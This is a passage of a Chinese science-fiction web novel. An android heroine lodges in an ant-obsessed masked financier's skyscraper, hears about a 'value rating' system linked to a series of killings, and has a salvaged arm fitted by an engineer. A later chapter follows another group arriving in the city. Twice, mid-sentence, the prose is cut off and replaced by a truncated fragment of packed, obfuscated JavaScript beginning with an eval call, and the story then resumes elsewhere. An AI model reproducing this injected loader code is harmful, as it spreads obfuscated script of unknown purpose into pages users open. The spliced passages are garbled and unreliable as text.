另外,她在卡比利亚的时候就隐隐觉得,这个谜题不仅仅是“传递信息”这么简单。如果只是为了告诉她胖球的脚环中有信息,没必要利用那个视网膜验证器;为了告诉她账户名和密码,也没有必要特意存储在有机存储器中。 她隐隐感觉,“那个人”的这些安排,除了告诉她信息之外,还会把她卷入什么事情里面。虽然她不知道这到底是不是“那个人”的本意,但她的确被迫经历了不少冒险。而这一次,“易谦明”这个名字,所引起的风波就是…… “所以我们可以继续了吗?”曹文道问。 “嗯……还有最后一个问题。”周向青说。 “那你快点问吧。我还想快点整理完信息,然后去查查资料。” “好。你说的‘价值评级’,到底是怎么一回事?我感觉你好像有话想说又不想说的感觉。” “没什么。价值评级只是评估投资回报等级而已。” “这个你刚才说了,但你的态度让我感觉并不只是这样。” “我对此没什么态度。”曹文道说。 “你刚才说,‘价值评级虽然看上去类似给债务和期权评级,实际上并不止影响一个人的——’一个人的什么?一个人的价值吗?哦!的确。”周向青突然想到了一个答案。“如果把每个人的价值都标出来,那大部分人的价值都应该很低吧?如果知道自己价值等级很低,的确挺不爽的。”她问。 曹文道的嘴角抽动了一下,但还是一字一板地说:“并不完全是这个原因。” “并不完全是。那还有什么?” 周向青突然想起了早上旅馆大堂里那些人的议论。“该……该不会是跟什么杀人案有关系吧?”她问。 曹文道的脸色一下子变得非常难看。 “那只是一些闲人随口胡说而已,是无稽之谈。而且,作为铸造局的一员,我非常担心这一说法发酵后的结果。” “发酵是怎么回事?有人对评级不满吗?” 曹文道摇了摇头。“具体的情况我不能说。你想知道就自己去看。最近那帮记者天天嘴上装模做样地分析来分析去,怕是心里只想靠舔别人的血来提升自己的价值级别吧。哼,真是讽刺。明明——”曹文道突然闭上了嘴。 “明明什么?”周向青说。 “你的问题已经问完了。你快点配合我,把信息登记完。” “就最后一个问题。问完就配合。” “不行。我不想再回答这些和正事无关的问题了。你耽误我那么多时间。马上就下班了,事情还没做完。” 曹文道一口拒绝。 “你这人真小气。该不会你的价值评级就很低吧?你怕自己被杀了?”周向青一撇嘴。 曹文道涨红了脸,连他花白头发下面的头皮都红得吓人。“你——你又知道什么了?你要是不想配合,就给我出去!我下班了!你给我出去!” 看来易谦明的确影响了很多人的生活。 周向青有点后悔,自己不该草率拒绝易谦明的邀请。 她应该去住到那栋大楼里面的。 不过,她还是可以再试一试。反正易谦明说可以随时去找他不是吗? 周向青回旅馆取了胖球,用易谦明的卡片跟老板结了帐。老板呵呵笑着,告诉她下次离家出走时,可以再来他的旅馆。 周向青心里好笑,但也只是点头答应。 她手上架着胖球,重新来到人才贸易银行。看到周向青手中的卡片后,保安对着对讲机说了几句话,召来了50层以上的专用电梯。 负责接待她的,仍然是那个叫阿福的老人。 只是他们这次停在58楼。比57楼多一层。 电梯打开的时候,周向青又一次惊呆了。这一层不再是装着蚂蚁的玻璃迷宫,而是草地、果树、小溪……简直就像是一个空中的花园。只是这个花园中并没有太阳,提供光照的,是嵌在天花板中的一排排灯窗。 易谦明就蹲在其中一株小柳树下,聚精会神地盯着地面。 但周向青仍然看不到他的真面目。 他这次并没有戴他的巨型蚂蚁头套,而是套了一个麻布袋子,袋子正面用黑色的墨水画着一个简陋的阴阳太极图案,远远看去,就像是他的脸上有一个扭曲的黑洞。 “你好。”易谦明说。他的声音仍然跟上午见面时一样闷闷的。 “你在干什么?”周向青问。 易谦明向周向青展示了一下他手里的一个小碗。碗里装着几块水果,还有一些面包虫。胖球眼睛倒是很尖,扑啦啦地飞到了他身边的柳树上,馋涎欲滴地望着易谦明手里的食物。 “我在给蚂蚁们喂食。虽然我一定程度上模拟了一个生态圈,但它自循环的平衡性仍然不能与真实的自然环境相比,它还是依赖外界的物质与能量输入。不过我还是挺喜欢投喂它们的。我可以看着它们把食物分割成小块运回洞穴,然后再到楼下去看看它们如何储藏、运用这些食物。很有意思。” 真是一个蚂蚁狂人。不过,如果不是这么富有,大概也负担不起以这种方式饲养蚂蚁的支出。或许让人疯狂的不是蚂蚁,而是财富吧。 易谦明站起身,看了看树上的胖球,道:“我看你也养了一只鸟嘛。想必你也理解这种观察动物的趣味吧。” 周向青点头。但她感觉自己并不是在“观察”胖球。至于她养着这只鸟是为了什么,她也不太清楚。给它喂食、逗弄它玩、抚摸它的羽毛,对她而言更像一种习惯。这种习惯由来为何,已经从她的记忆中消失了。 易谦明向旁边走了几步,把一小块苹果放在地上。 胖球突然从柳树上冲下来,把那块苹果叼走了。周向青想出言喝止,但早已错过了时机。但易谦明大概也并未着恼——虽然周向青根本看不到他的表情。 “它动作倒是挺快。”易谦明道。 “是的,所以我经常得把它塞到衣服里。以免它一下子跑没影了。” “养蚂蚁也有类似的问题。它们会顺着缝隙乱爬。所以……” 易谦明的话还没说完,只见胖球落到了不远处的地上,不断啄起什么东西,往自己的翅膀下面塞。 周向青愣住了。易谦明倒是表现得很自然。“居然还能看到蚂蚁浴,真是有趣。”他说。“不过我还想再独处一会。你带着你的鸟儿,跟着阿福先去吧。房间我早就让他准备好了,还有你一应需要的东西。如果有什么需要,告诉他就好,不用客气。大概再过一个小时就是午餐时间,到时候我可以跟你再聊聊。” 周向青尴尬地叫回胖球,回到电梯附近。阿福正在等她。不用周向青解释,他像是知道主人说了什么一样,按下电钮,让电梯又向上走了两个楼层。 易谦明给周向青准备的房间,要比统修会的招待宾馆更大、更奢华。除了客房该有或者不该有的东西之外,还专门有一个工作间,放着她用来制作能量棒的各种原料,甚至是她用不到的除尘防锈,上油补漆、切削焊接的各种机电工具。甚至还放了一个装满食水的大鸟笼。这绝对是刚刚准备的。 周向青在惊叹对方做事的迅速周密之余,也不免觉得有些不自在。她把胖球放进鸟笼,盖上布,让它休息休息;然后对站在门口的阿福说:“非常感谢你们的体贴招待。” “哪里。”阿福答道。他在回答时,眼珠都不转一下,满是皱褶的脸上的表情也很难说是微笑。 “阿福,你做这个工作多久了?”周向青只好自己先笑了笑。 “8年9个月23天。” 她记得曹文道说,易谦明是在八九年前开始他的投资事业的。“那你岂不是从易先生刚开始干这行,就一直跟着他了?” “是的。” “我想问一下,易先生脸上那个……”周向青在自己的脸上比划了一下,“那个是什么特殊的癖好吗?我两次见他,他都戴着不同的面罩。” “他一直戴着面罩。”阿福答道。 “不会吧。他之前不是期货交易员吗?他那时候也戴着面罩?” “以前的事情,我不知道。” “哦。他的声音也听起来闷闷的,不太像是正常的声音。我一开始以为是那个蚂蚁头套的缘故,但似乎也不是。” “对。他一直用变声器。” 周向青有点惊讶。“为什么?难道他……受过伤之类的?” “以前的事情我不知道。小姐。如果您有兴趣,可以去问易先生本人。”阿福答道。他的脸上仍然没有任何表情。那副僵硬的样子,周向青简直要怀疑他是机器人了。 说来也有趣。一个仿生人怀疑一个人是仿生人。 看周向青没说话,阿福又说:“小姐,45分钟后,易先生会在70层的餐厅用餐。如果您想问他什么事情,可以去那里找他。有什么需求,这里有一个按钮可以呼唤我。如果没有别的事,我就先告退了。” “啊,我倒是也没有什么别的事。如果有的话,就是,这里有什么我不该去的地方或是需要知道的规矩之类的……” “没有。如果您要去哪里,只需要用这部电梯就好。” “好吧。谢谢你。”周向青说。 阿福点点头,退了出去。 45分钟后。这点时间说长不长,说短也不短。既然这样的话,那她不如就出去看看这栋楼里到底都有些什么。 此时阿福已经不知去了哪里。周向青自己进了电梯,一层一层地往上找。附近的几层似乎既像是超级市场,又像是仓库,里面的货架上满满当当摆放了各种东西,但又不见一个人。62层放满了各种食品,63层是各种洗漱日化,64层是服装鞋帽……周向青可算是知道她房间里的那些东西是从哪里来的了。 果然,65层放的是五金材料。 但在这么高的地方,囤积这么多的寻常货物,这根本不像是一种理性的考虑。这些东西大概也并不是给楼下的那些银行员工准备的,很可能就是这里主人的兴趣,或者说,是癖好。 这一层一个用途,简直就像蚂蚁的巢穴一样。 周向青心里这么想着,按下了66层的电钮。 这一层摆满了头套,或者说,一切能遮蔽面孔的东西。有青蛙、熊猫、鸭子、恐龙的布偶头套,有木头、青铜、塑料制成的面具,有防毒、防化、防菌、潜水的面具,有丝袜,有滑雪面罩,有用来涂面的油彩,有迷彩油膏,有……还有各种各样的变声器,甚至还有一大箱子氦气瓶。 这绝对是一种怪癖。 周向青在一侧的架子上发现了她今天上午看到的蚂蚁头套。她伸手把它拿了下来。可以看到,蚂蚁复眼的位置虽然跟人眼位置不同,但里面还加装了类似潜望镜式的装置。 如果她戴着这个头套去餐厅,一定可以把易谦明吓一跳。 但还是算了吧。如果惹到这个奇怪的家伙,还不知道他会怎么反应呢。 不过,如果易谦明每天都戴着头套,那他吃饭的时候要怎么办?他会老老实实地摘下来,还是稍微卷起来一点,难不成……他的脸其实是被火烧坏了,迄今只能用管子吸流食?她打了个哆嗦。如果那样的话,每天戴着头套,倒是可以理解……但她还是不太相信这个过于简单的答案。 这可是个会在一百层的大楼里养一整层蚂蚁的人啊。 周向青兴致勃勃地一层层逛下来,最终来到70层的餐厅时,易谦明正站在窗前远眺,一边的餐桌上放着吃得干干净净的餐盘和玻璃杯。他仍然戴着头套。只不过现在戴的不是之前的太极图麻袋,而是一个印着一个血红掌印的曲棍球面具。看来,换头套是他除了看蚂蚁外的另一个爱好。 “可惜没看到他吃饭的样子。”周向青小声自语。 “可惜什么样子?”易谦明问。他耳朵倒是挺尖。 “没什么,只是说我来晚了。”周向青答道。“易先生,我还是想继续一下我们早上的话题。您当时说,在别人都拒绝您的时候,是马德兰给您提供了第一笔资金。而您说的这个时间点,就是八九年前,您离开期货交易所,开始个人放贷的时候吗?” “没错。” “那您当时就给马德兰说了这个人才贸易的计划吗?我有点好奇,您当年跟马德兰之间的关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周向青不知道这个问题的答案。但易谦明也明显不是在询问她。易谦明只是站在窗前,望着阴雨中的城市,续道:“你看,外面的每一栋楼里,都有向我们这栋楼里的一群人,大家熙熙攘攘,忙忙碌碌,不停的做着自己的工作。每一栋楼,都是一个蚁穴。而我们只不过是另一种蚂蚁的帝国。有一天,我在期货交易所里,百无聊赖地等着电话的时候,我想明白了这一点。公平地判断一个人价值的方法,是不存在的。” 周向青一愣,问:“为什么?” “蚂蚁的分工,是为了种群的延续,而不是为了每只蚂蚁的公平。虽然我们把蚂蚁分成工蚁、兵蚁、蚁后,但这种‘阶层划分’只是我们一厢情愿的比喻。因为蚂蚁没有意识,只是按照本能去活动。这些不同分工的蚂蚁与其说是人类的某个阶层,倒不如说是人体上的某个器官。难道你会说,你的大脑比肝脏更高贵,更有价值吗?你不会的。”易谦明看了一眼周向青,又说:“仿生人也有器官吧?或者说,零部件?” “我明白你的比喻,”周向青回答,“重要的是一个整体的存续,各个部分只是功能不同,所处的状况不同,并不意味谁轻谁重。但如果这样说的话,这跟你的‘价值评级’岂不是南辕北辙吗?你所做的,恰恰在给人类评级啊。” “不。其实我并不是在评判他们的价值。我之所以这么说,是因为人类之间可以相互替代。我可以通过‘价值评级’,来加速人类分工的流动,然后提高整个社会利用资源的效率。这才是真正属于集体的公平。我当时,就是这么跟马德兰说的。然后他说,不错,你干吧。然后他给了我一大笔钱。其实我也不知道具体应该怎么做,所以我只是从我熟悉的借贷开始,然后慢慢走到了这一步。” 周向青点了点头。易谦明的这一番话让她想起了赛德。“我认识一个人,他也说过类似的事情。只不过,他的思路是通过让人体机械化而让每一个人在能力上完全一致,从而实现平等。他说……” 周向青停下了。赛德已经死了。 易谦明似乎没有注意周向青的表情,只是问道:“你说的这个人,该不会是统修会的吧?毕竟你刚从那边过来。” “是的。他是统修会的机师。” “嗯。要不说怎么会有这种想法呢。说到统修会,你可能想看看这条消息。”易谦明捡起桌上的一张报纸,递了过去。 报纸的头版上,就是周向青的大头照片。 标题是:《卡比利亚“圣女”已于昨日落网》。而正文大致内容就是说,昨日可控自动化铸造局在一次跨地域执法行动中,逮捕了被三一教会称之为“圣女”的仿生人,正在对传言中的“仿生人可以与活化机械连接”一事做出查证,即将择日审判云云。 “说谎。我现在好好的,也没见谁来调查我。”周向青把报纸丢在桌上。 易谦明笑了笑。“因为你真的能不能与活化机械连接,对于他们来说根本无所谓。或者说,他们根本不想知道。董事会放出这个消息,只是打算跟统修会进行交易罢了。” “那……那他们还要审判我干什么?” “董事会有董事会的想法。我的想法就是,他们比较担心你的存在可能引发的连锁反应。如果——” “主人,外面有一位叫柳怀石的先生,想找您谈谈。”不知什么时候,阿福突然出现在周向青身后。 “哼。说曹操,曹操就到。你让他上来吧。”易谦明说。 柳怀石在阿福的陪同下来到了70层的餐厅。他看上去还是跟之前一样,油乎乎的头发,脏兮兮的衣服,就连黑框眼镜上缠着的胶布也没变。 “有什么事,就直说吧。”易谦明完全没有让座奉茶的意思。 柳怀石看了周向青一眼,说:“哼,也好。我只是以个人身份,来给您提个意见。请您不要用自己的影响力干预这次审判,不然可能对您有非常不利的影响。” “我并没打算干预。但可惜的是,董事会也并没如你所愿啊。” “你没有干预?易先生,如果不是你的名字为她背书,只怕是无论她有多少钱,都没那么容易走出铸造局的大门。” “他们只是照章办事罢了。而且,如果我真的能背书什么东西,大概铸造局早就把她划归我的个人财产来处理了吧?” “那样的话,上被告席的就不是她,而是易先生你了。” “我上被告席又怎么样呢?你的目的还是一样会落空。还有,作为过来人,我也以个人身份给你提个意见。不要相信董事会给你的任何保证。” “您的忠告我谨记在心。”柳怀石说。“既然这样,那我也没什么好说的了。您执意要做她的监护人的话,我想请您陪同她,到我的工作室来一趟可以吗?我找了一条可以代替用的手臂,能为她的日常生活提供一点方便。” “我不是她的监护人。我不会限制她的行动。你应该是问她,不是问我。”易谦明答道。 “那么,可以吗?”柳怀石问周向青。 “我?”周向青犹豫了。她偷眼去看易谦明,但易谦明早已转向窗外,再说隔着曲棍球面具根本也看不清他的表情。 “呃,好吧。”她答道。 66.雾气弥漫的城市06 雨仍然没有停。 汽车的雨刷来回咯咯地刮着,但刮不掉眼前无穷无尽的雾。 “你到底找我要干什么?”周向青终于耐不住沉默,主动问道。 “没什么。只是给你找了一只手而已。”柳怀石答道。“就当是我把你带到这里的补偿吧。而且你也用得上,不是么?” “我可不太相信你这种没来由的好心。” “这话说的。我也只是拿人钱财,替人办事而已。” “他们叫你特别观察员呢。我觉得这已经不是拿钱办事的范畴了吧。”周向青望向窗外,却看不出他们到底是前往城市的哪个方向。 “工作嘛,总需要一点点的主动性。虽然别看我跟易谦明不对付,但我这一轮的评级仍然是继续上调的。” “你好像挺骄傲的样子。” “这里的人比较吃这一套而已。我只是想试试对你有没有用。你这一上午,大概也了解了不少情况了吧?” 周向青摇了摇头。“没有。除了知道几个名词之外,我跟刚来的时候一样糊涂。尤其糊涂的就是,你们到底打算拿我干什么。嘴上说审判啊审判啊,但又没什么实际的动作。如果不是——”如果不是还需要找到“那个人”,她早就跑得远远的了。周向青把后面这半句咽了下去。 “董事会仍然在犹豫而已。我们下飞艇的时候,我不是离开了吗?”柳怀石说。“我就是去找董事会报告了这一次行动的结果。他们仍然不认为现在是彻底消灭统修会的时候,尤其是克哈、天井、新庆豪、米哈伊尔几个大实业集团相互扯后腿的前提下。即便是我可以替他们解决圣女草的问题也不行。你也看到我们的新武器了吧,虽然都被你打掉了。”尽管他这么说,柳怀石的脸上还是掩饰不住的得意。 “哼,你这么滥用活化机械,一定会吃大亏。”周向青道。 “哈哈哈哈,是这样吗?那可说不准哦。”柳怀石笑了。“不过说实在的,董事会担心的其实只是,外部的压力消除之后,内部会因为夺权而陷入分裂。但即便他们不采取行动,恐怕易谦明也早晚要把他们都吃掉了。” “啊?他有那么厉害吗?”周向青问。 “他本人当然没有。但价值观念的改变,大概要比大家起初认为的都要可怕。现在的复合体已经跟以前的复合体不一样了。所有人都被逼得动个不停,无数财富一夜之间就转手,上下都有点人心惶惶。我估计易谦明可能自己也意识到了这一点,所以一直都拒绝了董事会的邀请。因为加入董事会,在获得管理整个复合体权力的同时,也意味着放弃直接管理自己企业的权力。” 又是政治。周向青嗤之以鼻。“我对你们的政治不感兴趣。我只想知道,你们审判我,到底是想干什么。希望你能明确地回答。” “你不关心政治,政治就会来关心你。”柳怀石在路口停下车,等一个红灯。“你在击退我们的行动之后,在统修会那边的声望是前所未有的。他们叫你圣女也是这个原因,把你当作一面旗帜。这一点对于米卡来说,倒是无关痛痒,顶多只是另一个领袖罢了。但是仿生人能够与活化机械相连接,倒是一件大事,这牵扯到他们对自动化大崩溃的解释。这点我在飞艇上已经跟你讲过了。” “所以呢?你只是说了他们审判我的原因,但没有说他们为什么现在还没有审判我的原因。” “所以米卡在试图与统修会接触,达成一条协议。你还活着,统修会大概不敢公然放弃你。但你不存在对米卡很有价值。也就是说,只要统修会承认,仿生人与活化机械连接是新闻媒体的过度解读,那么法庭审判就会裁决你是假冒的圣女,然后把你还给统修会,或者是——” 周向青想到了枢机主讲的那番话。 “或者让我变成烈士。”她在说出这几个字时,背后有点发凉。 “没错。你死了,对一些人来说更有好处。”柳怀石把车子开进车位停好,然后拉开了车门。 这里就是柳怀石的工作室。 一栋外墙早已褪色的旧办公楼上,挂着一个崭新的招牌,写着“墨华止”三个草书大字。柳怀石关上车门,对周向青招了招手。“走吧。就在里面。” 这栋楼像是有几十年的历史了。楼道里的墙皮不知是第几次粉刷,第几次脱落,看上去灰扑扑的让人难受。屋顶矮,楼道窄,楼梯台阶也高,感觉就像是处处都与人作对一样。 “你的工作室在这种地方,真的有生意上门吗?”周向青不由问道。但话一出口,她又后悔了。黄承安不是还叫柳怀石“特别观察员”来着吗? “生意不上门啊。是我去找生意。”柳怀石不以为忤。他往上爬了两层,打开了自己工作室的门。 周向青的第一印象是,这里简直就是一个小型实验室。柳怀石大概是把这一层全都买了下来,一个房间接着一个房间,放满了实验设备和一个个样品柜。房间正中间是一个已经打开的木箱,里面的文档已经全都掏出来分类放在长长的桌子上,另有一个装着一只铁手的玻璃筒放在上面。 “这就是你给我准备的另一只手?”不知道为什么,周向青感觉似乎自己在哪里见过这些东西。 “不是。你虽然可以跟圣女草连接,但这种手臂是跟人类神经适配的,要跟你连接可能比较复杂。但原装的话,像你这一款型号,在米卡不太容易搞到——绝大部分都在复合体刚成立的时候销毁了。所以我觉得,不如就用旧款式先代替一下。等有机会再换原装的。在这边。” 柳怀石带着周向青走到里屋。 这还是周向青第一次见到另外一个仿生人。 她躺在一具水晶棺材里,眼睛微闭,就像睡着了一样。但她只有面部做到了与真人无异,身体的其它部位还是有明显的机械连接特征,无论是肩头的动力装置,还是上下臂的护板,以及手指,都有不少容易进尘积灰的接缝。她的整个身体也要比周向青大上一圈,如果算上厚厚的鞋底,大概达到了两米左右的高度。 她的整个右侧身体都被拆开了,内部的结构统统暴露在外。这一幕配上她沉静的表情,给周向青一种强烈的不和谐感。 旧款式。 你这一款型号。 不论她的外表再怎么接近人类,但仍旧与人类不同。虽然她并不真的在意这一点,但亲眼看到这幅景象,还是让她心里泛起了一点难以言说的滋味。 “来,你让我看看。”柳怀石拍了拍周向青的肩膀。 周向青脱下自己身上那件风衣,露出自己的断臂。柳怀石凑上前上下打量,嘴里一面说道:“哼。如果这样的话,那得把这个上臂从这里拆掉,然后把神经系统和供能管道做一个新的转接口。我记得你们用的似乎仍然是同样的代码……”他此时的眼睛炯炯有神,跟平时邋里邋遢的样子判若两人。 “你为什么要给我装这手臂?”周向青在柳怀石的目光下,感觉颇不自在。 “什么?” “你为什么,这么想要给我装这条手臂?而且你其实还没有说到,你在这场审判中能得到什么东西。”周向青说道。她一直没有想清楚,柳怀石到底在这件事中扮演什么角色。“如果你是站在那什么董事会一边,就不会跟我分析那些了,不是么?” 柳怀石站直了身子。“我刚才说了,米卡跟统修会谈判结束之后,董事会一定会跟你接触。他们会给你一个很诱人的条件,只要你在直播的公开审判中,否认你可以和活化机械连接,就会还你自由。” “如果他们没有谈成呢?” “那么就会再加一条,让你否认你是圣女。而你不是一直都在否认吗?” “所以你为什么——” “而我不希望你否认这一点。”柳怀石说。 “什么?”周向青一愣。 “我希望你假装答应他们的条件,然后在公开审判中承认并演示你可以跟活化机械连接。我看到你当时能控制铁臂上剥离下来的纤维,你就展示那个。” 周向青看着柳怀石的眼睛。柳怀石的眼神倒是很平静,并没有任何开玩笑,或者是说谎的痕迹。她有点不太明白。 “你为什么要让我承认这个?” “因为我是一个希望世界进步的人。可以说,我像你一样讨厌政治,讨厌拉帮结派,讨厌因为恐惧大崩溃就禁绝前人的研究,更讨厌看着一群特权阶级尝试复刻几千年前的信仰。我希望人们能够正视这件事。正视自动化大崩溃的过去,正视活化机械的存在,正视我们现在,以及未来的需要。一言以蔽之,建立一种崭新的秩序。有利于我们,有利于自动化的秩序。” 不知怎么,柳怀石这番话让周向青想起了咖啡馆里的程光颐。他们都是相信自己正义的人,都在为自己的事业而奋斗。周向青对这样的人,总是有点忍不住的好感。她点了点头。“好吧。” “那你答应了?” “如果事情就像你说的那么发展,我答应。” 柳怀石笑了,向旁边的手术台一样的东西一伸手。 周向青躺上手术台,但有点担心。她还没有随便让别人摆布过。柳怀石大概是猜到了周向青的心思,他一面整理自己要用的工具,一面漫不经心地问:“你的鸟儿还好吗?现在至少有住的地方了吧。” “还好。”周向青想到胖球啄蚂蚁时易谦明的神态,不由得微笑了一下。“我找了个笼子,让它住着。” “出门带着鸟儿,一定很麻烦。我带过两个小孩出门,真的烦得要死。” “是啊。挺麻烦的。又要吃又要住,还总担心它飞迷路了找不到。” “那怎么还一直带着呢?” “因为有一点事。而且如果不带着,也没有管它不是吗。” “哦,是有一点事啊。”柳怀石手里拿着准备好的工具,转过身来。 叭。 随着清脆的响指声,她迅速坠入黑暗的睡眠之中。 ### 身体在慢慢摇晃。 她不由自主地伸手去抓。但附近的所有东西都在跟着她一起摇晃。 “哈哈,你就那么害怕吗?”她对面的人笑道。那人摇动船桨,小船又是一晃,慢慢地推开了前方的水波。 “只是不习惯而已。本能反应。”她仍然紧紧抓着船舷不放。 “嗯。本能反应。说明还是不行啊。” “什么意思?” “以前有一位哲学家说过,文明就是人类对本能的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周向青猛地从手术台上坐了起来。 “结束了。”柳怀石正在摘下手上的乳胶手套。周向青看了看自己的身体。她右臂的残肢已经被卸下,取而代之的是一个带有卡口的圆盘,上面留有几个各式接口。虽然她能看到那里空荡荡的,但总是感觉自己的手臂还在原处,并且隐隐刺痛。 柳怀石把脱下的手套扔进垃圾桶,拍了拍一旁桌上的另一条手臂。“这边的适配我也已经弄好了。你只需要把它装上就行。改成卡扣连接后,会让防尘等级降低,而且也不像你之前的身体材质可以缓慢置换恢复,所以需要定期保养。这也算是没有办法的办法吧。如果什么时候再发现了你这个级别的机体,我随时可以帮你换回去。” 周向青没有回答。她下了手术台,走到桌前。拿起那一条从另一个仿生人身上拆下来的东西。她本能地打了个哆嗦,心里泛起一股说不清的厌恶。 死肉。 她脑子里浮现出的是这个词。 但她手中的东西其实并不是肉。而是一条实打实的复合材料手臂。说不定统修会的那些骑士会因此而羡慕我呢。她在心里自嘲。 “统修会的那些骑士肯定会羡慕你。你这条手臂的性能比他们的那什么‘铁臂’好得多。如果单说力量和强度,甚至比你原装的还好。不得不说,崩溃前的很多作品的效能,远远超过我们现在的水平。更别说是米卡大踏步倒退后的水平了。”柳怀石自顾自地说道。他的眼睛一直盯着周向青的表情,显然是期待她马上把那条手臂装上去。 周向青仍然没有回答。她慢慢呼吸着。 吸气。一二三四。 呼气。一二三四。 控制你自己的本能。 她把那条手臂按向自己身侧的圆盘卡扣。 咔哒。 神经与供能接口耦合,圆盘也严丝合缝地锁在一起。 随着淡淡的机械声,她展开这条新的右臂,伸出又收回,手指慢慢屈伸,握成拳,摊成掌,然后翻转。 “嗯。我手艺真的不错。”柳怀石说。 “是的。谢谢你。”周向青回答。 她跟以前已经不再是同一个人了。 不。 她从来都不是同一个人。 她身体的每一个部分都是流水线上批量生产出来的。 她跟“人”有本质的不同。 车子又一次驶过雨幕与浓雾,在银行大楼前停下了。 “如果你有什么需要,可以随时再来找我。”柳怀石说。 周向青默默答应。 电梯离开地面,直入高楼深处,她的新房间。 灯光下,胖球警惕地看着周向青的新手臂,迟迟不肯靠近。 周向青回到电梯。 叮。 服装鞋帽层。紧身衣。 叮。 五金工具层。剪刀、贴纸、喷漆、防水涂料、塑料布、尼龙带、卡扣。 叮。 头套层。带防风镜的面罩。 打开灯,铺好塑料布,一片片脱下护甲,跟新得到的旧手臂一同摆好。 喷漆。 把贴纸剪出一只八哥的图案,贴在每一片护甲上,贴在手臂上。 再喷漆。 撕下贴纸。 再喷防水涂料。 “你看,这是你哦!胖球!像不像你?”周向青砰砰敲着护甲上的图案。 最后胖球还是愿意站在周向青的新手臂上了。 但主要是为了各种零食和面包虫。 67.雾气弥漫的城市07 “这座城的雾气一直这么大吗?”姜原在船头问。 小艇沿着河道驶入城市,前往码头。 浓厚的雾气遮盖着河道和整座城市,加上一整天的雨,把眼前所有的一切都弄得阴沉沉、灰蒙蒙的。 即便把灯光打到最强,还是顶多射出几十米就被挡了回来。 河面上的所有航船都隐没在雾气中,时不时像鲸鱼一样吹响雾号。 那“嘟——嘟——”的长鸣声总让姜原想起带走周向青的飞艇。 她大概不会猜到自己居然跟了过来吧。 关铁震支楞着脑袋,说:“哎呀,大概有十几年了吧。我记得我小时候这里还不是这样。那时候在郊外抬头,还看得到月亮和星星;现在你想看月亮,只能看到圆圆的灯泡。但以前也不是没有这么大的雾。河面上还是很容易起雾的。” “你懂个屁。如果不是我带你,你开过几次船?上过几次河?以前的雾跟这种雾根本不一样。河面上的雾尝起来是甜的,黏黏的,但甜甜的。这种雾是苦加上涩,像是吸了有泥的螺蛳,漱口漱不干净一样。”在掌舵的白少俊骂道。 “什么甜的苦的,雾能有什么味道?你虽然是码头上长大的,但我在这城里混的时间可比你久!”关铁震骂了回去。 在关白二人的吵嚷声中,他们的小船慢慢开进港口,靠近码头停下。关铁震爬上码头,白少俊把缆绳扔了上去,让他把船拴好。这个码头边,类似的小船像旧鞋市场一样,挤成一堆,缠在一起。 但偌大的码头上如此多的船,却看不到几个人。此时天色虽然已经暗了,雨也还在蒙蒙的下,但终究是还不到下午6点钟。 “这么大的港口,未免有点冷清了。”姜原说。 “嗯。可能事情还没结束。” “什么事情?” “在我们出去之前——” “喂!雄哥!最近怎么样?”没等关铁震说完,白少俊径自迎向远处的几个人,打了个招呼。他们都穿着风衣,领子竖得老高,鸭舌帽压得低低的,看上去既不像船员,也不像码头上的工人。 其中一个人摆了摆手。“老弟,快走吧!不要在这里呆了。” “怎么?还没抓到?” “没有。昨天晚上是老刘、老李、还有小王,又死了三个。他们也是评级下调了。这下是真的不给人活路咯。”另一个人叨咕。 “你胡说什么。没有证据的事情。”他们自己倒是争论起来。 “我是胡说。但你干嘛也穿这一套?你敢说你一点都不信?” “要不是评级的事情,谁乐意在这时候干活?算啦,没什么好说的。反正,我们也准备回去了。今天晚上还不知道会怎么样。”那个“雄哥”总结道。 几个人点头称是,迈动步子。白少俊就跟他们边走边聊了起来。 “到底是什么情况?”姜原问。 关铁震说:“小白他以前就在码头上班的。跟他们认识。事情其实很简单,大概是一个月前吧,每天晚上总是有人莫名其妙的死掉。我们走之前就已经闹得沸沸扬扬,但是铸造局的那些废物忙乎了这么多天,看来是还没抓到凶手。传言说,有人专门盯着低评级的人杀,所以大家都穿起那种衣服,把脸挡起来。但想也知道那不太可能。这么大的城市,得有多少低评级的人?” “并不一定是低评级的人会被杀。也包括评级突然降低的人,比如上次那个坠楼的基金经理,不知道他搞了什么,居然赔掉了90%,评级直接从A一下调到C,然后第二天他就死了。”郑小楼说。 “但犯错的人多了去,你也没法解释为什么偏偏是这些人。”关铁震说。“肯定有什么我们不知道的联系。妈的,就应该先把铸造局那些人降一降!” “咳,官官相护啦。易老板做到那么高的位置,不会不懂事。不过,我觉得这些人并不一定都是被杀。是新闻扰乱了大家的视线。”马延仙在背后答道。 “哼。也就是我们这样的人,才要整天为什么评级提心吊胆。上面那些人倒是逍遥自在,还能靠这个吃得满嘴流油。”关铁震翻了个白眼。一个秃头大汉做出这种表情,有些好笑。 “也不尽然啦。爬得越高,摔得越惨。就像小楼说的那个,我觉得他就是一时接受不了。要我说啊,也算是高处不胜寒哪。不知道他死了以后,在地下会不会觉得更快活一些。”马延仙说。 “大晚上的,别说这些!”关铁震急道。 “好好好。但我的意思就是……” 白少俊跟那几个风衣男人说完了话,走了回来。“昨天又死了三个人。都是干凌晨活的。” “就是接蚬埠过来的船咯。看来也算是铤而走险了。”马延仙道。 “对。说是他们的评级下调了,涨了房租。他们只好接了几单凌晨的活,然后就出事了。” “唉。作孽啊。”马延仙叹气道。关铁震和郑小楼也一脸凝重。 “你们说的那个价值评级,就是投资价值评级吧,那个说白了不就是信用贷款吗?跟房租有什么关系?”姜原问道。 “外地人少他妈说风凉话。欠打不是?”白少俊对着姜原挥起拳头。 关铁震急忙架开了白少俊的手。“他不懂,你急什么眼儿啊。还有你,小兄弟,话不要乱说,尤其是评级这个事情,会勾起很多人的……千段万……” “千愁万绪。”郑小楼插嘴道。 关铁震瞪了郑小楼一眼。“不是。反正,很多人一听评级就烦。虽然道理上,你可以说价值评级是信用贷款,但也只是看起来是这样。实际上,凡是大笔开销,比如买车啊租房啊,都是要看你的价值评级的。评级越高,说明你能力强,就可以适当打折;评级越低,说明你能力差,人家就会问你要现金支付,不接受记账了,你没有现金,就涨价。” “还有找工作也是这样。我就是评级太低,一直找不到工作。”郑小楼说。 “原来如此。对不起,我失言了。”姜原低头道歉。 白少俊哼了一声,转过头去。 